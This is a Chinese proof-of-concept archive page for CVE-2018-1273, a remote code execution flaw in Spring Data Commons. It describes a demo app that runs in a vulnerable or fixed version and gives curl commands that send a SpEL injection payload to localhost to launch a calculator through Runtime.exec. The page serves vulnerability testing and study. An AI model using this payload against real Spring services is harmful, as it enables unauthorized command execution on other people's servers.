POC详情: 0efb9ee82a52cda91bdc013981b6812a75e6fa6d

来源
关联漏洞
标题: Pivotal Software Spring Data Commons和Spring Data REST 输入验证错误漏洞 (CVE-2018-1273)
描述:Pivotal Software Spring Data Commons和Pivotal Software Spring Data REST都是美国Pivotal Software公司的产品。Pivotal Software Spring Data Commons是一款数据共享接口。Pivotal Software Spring Data REST是一款能够在Spring Data之上构建超媒体驱动的REST Web服务的产品。 Pivotal Software Spring Data Commons和S
介绍
# CVE-2018-1273

Spring Data Commons, versions prior to 1.13 to 1.13.10, 2.0 to 2.0.5, and older unsupported versions, contain a property binder vulnerability caused by improper neutralization of special elements. An unauthenticated remote malicious user (or attacker) can supply specially crafted request parameters against Spring Data REST backed HTTP resources or using Spring Data’s projection-based request payload binding hat can lead to a remote code execution attack.

More information [here](https://pivotal.io/security/cve-2018-1273)

# Running 

The application can be tested with the vulnerable version or the fixed version of Spring Data Commons. 

* Vulnerable version (by default):

```
mvn spring-boot:run
```

* Fixed version:

```
mvn spring-boot:run -Dfixed
```

# Testing the vulnerability

Run the following command to check if the vulnerability can be exploited:

* On Windows:

```
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"

```

* On MacOs:

```
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')]=test"

```

# Credits
Created by https://www.arima.eu

![ARIMA Software Design](https://arima.eu/arima-claim.png)
文件快照

[4.0K] /data/pocs/0efb9ee82a52cda91bdc013981b6812a75e6fa6d ├── [ 11K] LICENSE ├── [6.3K] mvnw ├── [4.9K] mvnw.cmd ├── [3.3K] pom.xml ├── [1.3K] README.md ├── [ 34] spotbugs-security-exclude.xml ├── [ 94] spotbugs-security-include.xml ├── [4.0K] src │   ├── [4.0K] main │   │   ├── [4.0K] java │   │   │   └── [4.0K] eu │   │   │   └── [4.0K] arima │   │   │   └── [4.0K] poccve20181273 │   │   │   ├── [ 376] PocCve20181273Application.java │   │   │   └── [ 763] VulnerableController.java │   │   └── [4.0K] resources │   │   └── [ 0] application.properties │   └── [4.0K] test │   └── [4.0K] java │   └── [4.0K] eu │   └── [4.0K] arima │   └── [4.0K] poccve20181273 │   └── [ 348] PocCve20181273ApplicationTests.java └── [1.7M] webr0ck_poc_debug_test_java-srcVersion_a67095cde8cb73c3466e6a49b2d39908ef780552-dist_odasa-lgtm-2018-09-11-e5cbe16-linux64.zip 12 directories, 12 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。